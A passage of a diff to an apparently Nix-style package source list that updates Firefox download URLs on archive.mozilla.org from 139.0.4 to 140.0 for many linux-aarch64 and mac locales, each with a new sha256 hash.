"linux-aarch64"; - sha256 = "1da9d48c54528cdfd9a8a9182f53331450afff64bb3a8ef6333bc0531feaef16"; + sha256 = "72c18125e81abd12b445ad0c099606f17a3fc92489ee96675df5c872773d8768"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/my/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/my/firefox-140.0.tar.xz"; locale = "my"; arch = "linux-aarch64"; - sha256 = "cf4147013aa446ff5a35428210d857e8709c1843f050c1f7bb1e7bb7e4020d8c"; + sha256 = "50cc9d4f95c8324d82340e86fa51386f1fa357160cd42351a5cd8286f3e9ff34"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/nb-NO/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/nb-NO/firefox-140.0.tar.xz"; locale = "nb-NO"; arch = "linux-aarch64"; - sha256 = "bee86e15e1d93fd0713d18538069ca55c07604633dd5307786eb89bc0d958edf"; + sha256 = "89a7af06c905fd1898acfc696145965c64f9a823e981a93307d9420b94e1ec01"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ne-NP/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ne-NP/firefox-140.0.tar.xz"; locale = "ne-NP"; arch = "linux-aarch64"; - sha256 = "84124164fe4db505a9e2b4d35c9f7dfd335438bb81f758c8ac0cdbe66ef4189f"; + sha256 = "d57fb937ab9222fa4ce26d411204066c2832276570d1bc2fe09ccc0fc4c750ac"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/nl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/nl/firefox-140.0.tar.xz"; locale = "nl"; arch = "linux-aarch64"; - sha256 = "f0b4f0e0c303cf5b81004813a8e43e6a3bc8ca3a1f1e683e951dc1fec6cfa947"; + sha256 = "e4dcc699844ee961c0945e6a561d6a03a64b75293ac7eba910f732fabe0c307f"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/nn-NO/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/nn-NO/firefox-140.0.tar.xz"; locale = "nn-NO"; arch = "linux-aarch64"; - sha256 = "936a6d960143b2f573581fac753c8e0687f0f18080283b10d1ac122e069afcc7"; + sha256 = "ee74df91ad7f4e5f54695b8539697bc9092e2510456851f81c640f4a00d3d08a"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/oc/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/oc/firefox-140.0.tar.xz"; locale = "oc"; arch = "linux-aarch64"; - sha256 = "ee733c11d6748f89620546b60dd6e364b055ffdbb7834275b4c2a224b44a1d79"; + sha256 = "a1408bad0de2c64ecea1a72864d9f363da4a153d98d83e7e18db8eae47b796d0"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/pa-IN/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/pa-IN/firefox-140.0.tar.xz"; locale = "pa-IN"; arch = "linux-aarch64"; - sha256 = "2807b091028c94b92171cd3369325357dca07549224d5484a761fb996966d70c"; + sha256 = "88f5f43b701a94d8551e2786f72b7643e4506609f42a2c3596f458d278362d1d"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/pl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/pl/firefox-140.0.tar.xz"; locale = "pl"; arch = "linux-aarch64"; - sha256 = "2ad1f24700bada087409929ad541f213f25dba9065dff152521f760a6ce03573"; + sha256 = "3e7df16ed8b4f808a093e337cd9f79eaba3c39c950561680eb1969027a10a2d1"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/pt-BR/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/pt-BR/firefox-140.0.tar.xz"; locale = "pt-BR"; arch = "linux-aarch64"; - sha256 = "1555a9dfecbb351ac2c4f83c20c61730e4939f06fbd1335f5a117e35d3baeda2"; + sha256 = "d2ae5d20752a16453d7b9146811ffe7646587544611aa1580ab753584653d816"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/pt-PT/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/pt-PT/firefox-140.0.tar.xz"; locale = "pt-PT"; arch = "linux-aarch64"; - sha256 = "0b68437f514b694fd81482e1933cee522fd03e0a73ac88184fab4eed5b48ee70"; + sha256 = "4d8acb0411b0b1bbbc09db99a7fde9506f8e61cd5dc147c93dd4a9a7a40d6b02"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/rm/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/rm/firefox-140.0.tar.xz"; locale = "rm"; arch = "linux-aarch64"; - sha256 = "274e83d5bfa3f358d416a420a608722ad69a8ebccc5ca8ff826bb9b6c5c366d9"; + sha256 = "f98801cafadb0d8ea5b88ae26052134f9b7b90da6653f2181b731f638afebcab"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ro/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ro/firefox-140.0.tar.xz"; locale = "ro"; arch = "linux-aarch64"; - sha256 = "1cde9cdd28a1a4f1d9c6e53442600d2ffd3e0e37125ce6a8953b350cabffbf30"; + sha256 = "058c99e4cf2c95739d6a09cb5e44111c8d49ba01a51bd2a3ce7557258d5cd3ce"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ru/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ru/firefox-140.0.tar.xz"; locale = "ru"; arch = "linux-aarch64"; - sha256 = "311cc9df6d653aadc89e1c1f4a54d52c4c2235dc3a1ab07f7aa7fe32adc85b8c"; + sha256 = "e8f4084f31f6833d4254502f93aee87f76fd1592b5250e04e03790572ba66a14"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sat/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sat/firefox-140.0.tar.xz"; locale = "sat"; arch = "linux-aarch64"; - sha256 = "0a7c5624a4c50eec58ad041c1a94ae24922a66c1477407c5188e0e7b57c86cc1"; + sha256 = "17dcb716a149183a35bd32a0948ab3171be4a547cbc39d2e0d14ac2e07a26a19"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sc/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sc/firefox-140.0.tar.xz"; locale = "sc"; arch = "linux-aarch64"; - sha256 = "2b230266a68e8b9bd897b05c1bffe1d5c16b23d599e4dbac377e2a36532563c1"; + sha256 = "f15a75dbd51f6c1341190904e996a9afee73eba615f48d92c021b8a2a6341425"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sco/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sco/firefox-140.0.tar.xz"; locale = "sco"; arch = "linux-aarch64"; - sha256 = "4c91e4c4e9a762f92d374fffe0f6a9f76a58e8228bad6e16242a441c99dd0330"; + sha256 = "6b74e2091d37d0b0b6355d136693d9f64bdf37d32392561ec946c16804c438de"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/si/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/si/firefox-140.0.tar.xz"; locale = "si"; arch = "linux-aarch64"; - sha256 = "b72ec88381e4a65e8572c64c23070d8e382d11bd8da236e8e67879b8e143daf3"; + sha256 = "c53b6b388d652721c6f529604d08e11256a27130e8a410afe516d6583f0375b2"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sk/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sk/firefox-140.0.tar.xz"; locale = "sk"; arch = "linux-aarch64"; - sha256 = "5b158a10f6ce4a22a004f71c5891d1de64a33f4eede7bc4d84bee5e306424d34"; + sha256 = "6e9eadfe9f5cf42e652d4be2a108bb419b6a313465bd51668ee7f808a02b0d4d"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/skr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/skr/firefox-140.0.tar.xz"; locale = "skr"; arch = "linux-aarch64"; - sha256 = "91dd2ca54f93c2e0e1bfab6063dbce82657b9a66364613b100f55c643bd442ee"; + sha256 = "cf3c531d3963963878fd184351c8966ba03a910e00f34e5a67eea90f79a24be0"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sl/firefox-140.0.tar.xz"; locale = "sl"; arch = "linux-aarch64"; - sha256 = "178e67e4ddba5077f8439b3441ae7e03e9b4df0a305c8dcd3cc6be3f6718dd12"; + sha256 = "1eff6cd0299936498389bc4d19d2492277098d2070b559e292161b430b2784f3"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/son/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/son/firefox-140.0.tar.xz"; locale = "son"; arch = "linux-aarch64"; - sha256 = "a1cd95b97d652be5b2191a05c97d7c32981de3949801126dcfc15a09714a4f84"; + sha256 = "352fd568f3daf11cd82e25949c8af29cf8e0ed301f6622866a85e1cbda1a985b"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sq/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sq/firefox-140.0.tar.xz"; locale = "sq"; arch = "linux-aarch64"; - sha256 = "1fbadabcb66c4d4826db66510718235415e7d22af37273f14389bebf2693e13f"; + sha256 = "a65872fec817052b5764f582808060c15659301072b3485c64240848e96c0973"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sr/firefox-140.0.tar.xz"; locale = "sr"; arch = "linux-aarch64"; - sha256 = "b8855b52f62c4f59b9e96b38e2b31ebd4c82a402596a504c2d630d585aecd0ca"; + sha256 = "81c375f570842704feb3fb5a70778f62ffdc947b701a3e8d5cb6dd8629881b06"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/sv-SE/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sv-SE/firefox-140.0.tar.xz"; locale = "sv-SE"; arch = "linux-aarch64"; - sha256 = "16c5827b2fd8945525073a7736bb55c7cba282b637c207fdd94b5afb1828ff84"; + sha256 = "d0e56fdb7a5c1c1ad3301b151198eb3242452f3b57fcd1598713d6a968ef2b02"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/szl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/szl/firefox-140.0.tar.xz"; locale = "szl"; arch = "linux-aarch64"; - sha256 = "3c8ee2ab4777e8d22e3e61f11ecb9597b5974bbf13eabfd6a1c9a53beb18bdad"; + sha256 = "097ab1dedc4a34518e384dbb3d855e850b8ba40b3a2b7c658b8d1f9b3d461ef2"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ta/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ta/firefox-140.0.tar.xz"; locale = "ta"; arch = "linux-aarch64"; - sha256 = "e229643e0c446e56fa5e9917b343647dca48665629adaf7f251d2a5b4e547420"; + sha256 = "a32d31fc9959e3ac53d7de110ecdcb67dc2de418b9f8efac516e8f24069df789"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/te/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/te/firefox-140.0.tar.xz"; locale = "te"; arch = "linux-aarch64"; - sha256 = "1a7dbf9b69427cd8f424640062741b6e2bed0280fdff5f4acc13a0d7703fea0f"; + sha256 = "c24a2b30f7f753bc47dd3abf197df34b2e9e0bdce54ddeee4e4d8b324d2dd08e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/tg/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/tg/firefox-140.0.tar.xz"; locale = "tg"; arch = "linux-aarch64"; - sha256 = "02564d54f763fec86e911690ad0457d0e7eddb032bc397e57fda436eb74d5ee4"; + sha256 = "d1353bc0a07ee1a46bc6ef33721b1fc3cc15c3e6573c271d5e767784019f024d"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/th/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/th/firefox-140.0.tar.xz"; locale = "th"; arch = "linux-aarch64"; - sha256 = "4b16d0fbcee12931001714232dedcb3a4ddf7d2df0c1d5ff4da43d757d4cae08"; + sha256 = "7134f78cce1a40647194c0dbb73956d9f9be52774a72a480f93f6b727367c323"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/tl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/tl/firefox-140.0.tar.xz"; locale = "tl"; arch = "linux-aarch64"; - sha256 = "5744f47fef3dcbebca72356dc27ac08e501dd325ebd47cf48a6442dd6d6de33e"; + sha256 = "25ed58bd672ab9dba6ed8e52bedfd5213d92595e75604bd0ec5e3840bd69abe4"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/tr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/tr/firefox-140.0.tar.xz"; locale = "tr"; arch = "linux-aarch64"; - sha256 = "b674fd55febe6d3ca585127ddee719e6bff0fec486ddaf5ecd2b1bdc922ba1cc"; + sha256 = "ecb3de9fed0c635e950cd8d08c0a4564d305e7b5749329c3f16b3348ec41dea2"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/trs/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/trs/firefox-140.0.tar.xz"; locale = "trs"; arch = "linux-aarch64"; - sha256 = "d91fe874274c0ba294b7a9d6a9a53704ee17e10ef23b7e6402fd20b4877e1b76"; + sha256 = "532db68ffebf59ad0244d669c0196bc1287d50d20637d92da1937b5ee8e72bd5"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/uk/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/uk/firefox-140.0.tar.xz"; locale = "uk"; arch = "linux-aarch64"; - sha256 = "ce55b8f396382d8c7ce0be3e50fc4a3415d7ab2ce546293c3c1e777c26334b6f"; + sha256 = "4f5e607103dd86ceeaea4c1cae1083ac87fb95aa0972556043b74bd476b02e33"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ur/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ur/firefox-140.0.tar.xz"; locale = "ur"; arch = "linux-aarch64"; - sha256 = "532d90fb392d3edabecf917b3198cb78c7a4a6dd571483894970c53f0d0651d2"; + sha256 = "99a2b04b388d4593eac2f94b508a6fb12a2baabfda590e7f10ea06faa3ca3622"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/uz/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/uz/firefox-140.0.tar.xz"; locale = "uz"; arch = "linux-aarch64"; - sha256 = "ca1355ea31db97494ead7c8ccd18280c56262c961f6f2e473c10ead9a47ed680"; + sha256 = "aec185fd4db0b853681eccdd83ff28a3449e2fcf864790b4a30b00c78e93400c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/vi/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/vi/firefox-140.0.tar.xz"; locale = "vi"; arch = "linux-aarch64"; - sha256 = "50b132ca628e3d252a56878e327e431c63361949da213b4a75482820a15a7f1a"; + sha256 = "22b0b31a6f1f36beae7277b43cd54512ce37637309d7b560b7adb9320b11e2b8"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/xh/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/xh/firefox-140.0.tar.xz"; locale = "xh"; arch = "linux-aarch64"; - sha256 = "59a1a5b5dfd3b46b133ee289d4942e0d0c4dfe656336a04f9f8a69498d989ee1"; + sha256 = "682baecc9e328ccffda49c268489dc1275c678a57c6c244f96531da04ae2aa07"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/zh-CN/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/zh-CN/firefox-140.0.tar.xz"; locale = "zh-CN"; arch = "linux-aarch64"; - sha256 = "f21395911323c3a68e8fbee8ff8fc4aee40b35eea99879f35b6dae872ff08f71"; + sha256 = "371000dcaccc8b0e6416853dd90006bec0be351892f1024c64f20a880ad7c9a9"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/zh-TW/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/zh-TW/firefox-140.0.tar.xz"; locale = "zh-TW"; arch = "linux-aarch64"; - sha256 = "7f2c6edc679c4b3ca126d40051eb57429cfd12e4e0b88632945f8c3f43559a1d"; + sha256 = "ae9233bbad9576e3752013d3e870fe62b8b01420a32f4c44cbc6f1b9d71ae83a"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ach/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ach/Firefox%20140.0.dmg"; locale = "ach"; arch = "mac"; - sha256 = "2719e5aac6eb8c169e75a26ebf6b6de8e9c54adfd09431a8c6a140553136b84c"; + sha256 = "252e14211dc82d4da1b5d0f02885b2d71ddef5b7d2161d1cd2d36b3626d47127"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/af/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/af/Firefox%20140.0.dmg"; locale = "af"; arch = "mac"; - sha256 = "b1c6cf858c3c8918267e4a41aef6827931d317c45fb8c8a00ba05593c80b27e5"; + sha256 = "6527a8e846ceaea20c2ad106fb0798f03df4f8dbb9b7ff43331b0ffeb6c9616c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/an/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/an/Firefox%20140.0.dmg"; locale = "an"; arch = "mac"; - sha256 = "577d4c2dd712b3241b143f1bc61c830bf59867200a62165ff6e8c9f0f6df3516"; + sha256 = "d32a9e0befd6efc08cd9d9bdd6d5fb9043477bc0d4e2cf59e8674b28adb0e013"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ar/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ar/Firefox%20140.0.dmg"; locale = "ar"; arch = "mac"; - sha256 = "17c75522114962ea274133e014e4dad95dd9a6e00182ab3edb2ad7980f891365"; + sha256 = "481e021c3eec7e63b10e9ca2b8a90580b02484f0ffdb60bed73886ae58246a41"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ast/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ast/Firefox%20140.0.dmg"; locale = "ast"; arch = "mac"; - sha256 = "cb511c581fb63bc060f9580257bd324f37bac7f9bc1c1de2d900c67767197a19"; + sha256 = "b2aa1e68e9d543f780284455763e38c52a4f95a4e44ab09d7a5849c244e5170a"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/az/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/az/Firefox%20140.0.dmg"; locale = "az"; arch = "mac"; - sha256 = "3fc6810b311358add979fba5952b8297b0c1e1f4f8b9e886a6f4d03f7a063934"; + sha256 = "3d98ebcfbc8cca145457f23f75f78d9091b41031e3264bd7444925905902e6df"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/be/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/be/Firefox%20140.0.dmg"; locale = "be"; arch = "mac"; - sha256 = "8a4658504c3563479bd7a82f2508ece131a90cf8980d3dbd58aa58fd7ebb31ef"; + sha256 = "13a887e13133bf942db51b5288e95b78466eec20c013bd694ece2f4e984bff6f"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/bg/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/bg/Firefox%20140.0.dmg"; locale = "bg"; arch = "mac"; - sha256 = "e13d1527f19e15a777b35a0c8ba29107fa96ae08f148e11bacc000b3cca6b1bd"; + sha256 = "91ee8c4ee554ccbf663c658d817017196ee0a473d241feeb819d7888a8537e74"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/bn/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/bn/Firefox%20140.0.dmg"; locale = "bn"; arch = "mac"; - sha256 = "78f298ec415f37e760e0f1452acf648cdd0ae46629f701004d12ced70265be66"; + sha256 = "1479f506ccab899bfcb78d2576655c5cbc3c4099000e7c43ddba79e7fabecf01"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/br/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/br/Firefox%20140.0.dmg"; locale = "br"; arch = "mac"; - sha256 = "eb955ddd18c7059e07c2286969ec681acb35021946316b40435fe2a0d176d6d8"; + sha256 = "ce26c22755bd3926605505ce20b3177fab60841d5db33f10037ce76224d399c7"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/bs/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/bs/Firefox%20140.0.dmg"; locale = "bs"; arch = "mac"; - sha256 = "f06bae4d8a0abe53f939af0f104680939179b08993ad75e50e125083d2f7da71"; + sha256 = "ed5a5633a15eee2171f5b7476f613c35840a32ca5be11f77d9d2bc48f2d75f98"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ca-valencia/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ca-valencia/Firefox%20140.0.dmg"; locale = "ca-valencia"; arch = "mac"; - sha256 = "5f51dc58073d1f4ad4af26798e7e27d4fc217a12d78fab9ae17830bbde946511"; + sha256 = "9af340066d32661b058d5af792bb47459fafaf656eed8156cd2e98e015493969"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ca/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ca/Firefox%20140.0.dmg"; locale = "ca"; arch = "mac"; - sha256 = "474044466024a959160445d50807c8464af8948152141c3883d654a65d60f09c"; + sha256 = "522f922fad7766f53929f37df844a38e9fa3d22c057e5f7a7dd5823e009fd6c5"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/cak/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/cak/Firefox%20140.0.dmg"; locale = "cak"; arch = "mac"; - sha256 = "7af9ffce74118116447796b25014c7a4e0b248c3459c7e34bd666ffcbdc8a7b1"; + sha256 = "f53867fac80e28139e394641e8b0d3d9d8e16fbafdaa78b2193b9b5defe61170"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/cs/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/cs/Firefox%20140.0.dmg"; locale = "cs"; arch = "mac"; - sha256 = "87581633817c93876ce2121a547efac0d5e042ed0636262367aed6f494fa0122"; + sha256 = "472ed62990a4e5c8678f3ec8bfcab2f3284501f2ca836beeae529d33f05db578"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/cy/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/cy/Firefox%20140.0.dmg"; locale = "cy"; arch = "mac"; - sha256 = "94acd045d30585b9d0313be4d4a94144c3aa51915b391819bdf7ada85c80dfb3"; + sha256 = "b1fffc2a97e89075ea9b80240cb7fd80536328966fc312988ec6de653184769c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/da/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/da/Firefox%20140.0.dmg"; locale = "da"; arch = "mac"; - sha256 = "29dbd5985eae4674fa1009fb54f817a00b70c419c7186695874798d99f9e18a4"; + sha256 = "65f13829b0928082537198e63bec919059deb34f2edb806e5b7c0ec706432385"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/de/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/de/Firefox%20140.0.dmg"; locale = "de"; arch = "mac"; - sha256 = "5c890b5a31079d7cc6fe3668b0f9af86fcb165b1821c3534e7e373e2a5928152"; + sha256 = "d0e934d88bf088f6bc127c6700a4c540a1c9d139b663513a59fb3a618087956b"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/dsb/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/dsb/Firefox%20140.0.dmg"; locale = "dsb"; arch = "mac"; - sha256 = "f3f0549e3aaaea2d33341ff9172ff296841846f1f7482b89e725124534cc804d"; + sha256 = "6b48594c3db6149eb8cb3b10458379de6fbd11801d38c0886add0e91c0146b41"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/el/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/el/Firefox%20140.0.dmg"; locale = "el"; arch = "mac"; - sha256 = "0bc124319e9997a07c73f820f39d41f3ca739dbc5cba458b9391531c80c1f128"; + sha256 = "e5909b4b8b3e798fb6e016262ad21606de0fbe255408b32d3cf1c498e8ea8342"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/en-CA/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/en-CA/Firefox%20140.0.dmg"; locale = "en-CA"; arch = "mac"; - sha256 = "b2edf6cacbc8651beedf56e9b7ec882cba7c860ea1bce19f7cd5ba366efea23b"; + sha256 = "c2b537cdb63ad1cbc9c4e2d4edd861da2e0c1c6735f6aa280882963be478f085"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/en-GB/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/en-GB/Firefox%20140.0.dmg"; locale = "en-GB"; arch = "mac"; - sha256 = "142d495b2aae797d5c33904d3f694a717b14b627e78efbcbc344020eb42d44f7"; + sha256 = "d8f845f442e00f46ea448a57433a3276863dac6a5407b1c7d26211888f23f637"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/en-US/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/en-US/Firefox%20140.0.dmg"; locale = "en-US"; arch = "mac"; - sha256 = "fc058bf34094828c0919ad81672d697cf01dfa291ba9b11e0b1c119588878405"; + sha256 = "6ed2ee0aa3f64a9eac93e1195c8fca54ba6b53c07eeea6fe4c6144491ae6b3d9"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/eo/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/eo/Firefox%20140.0.dmg"; locale = "eo"; arch = "mac"; - sha256 = "528d792d5c2398f8164408d4de59d10aef40441a882a304b9f4eb05dd9ea30f4"; + sha256 = "ad6ca2fdd2a8267da135dbdb1d53e4f2e33bc118151177cad171bed51062bee4"; } { - url = 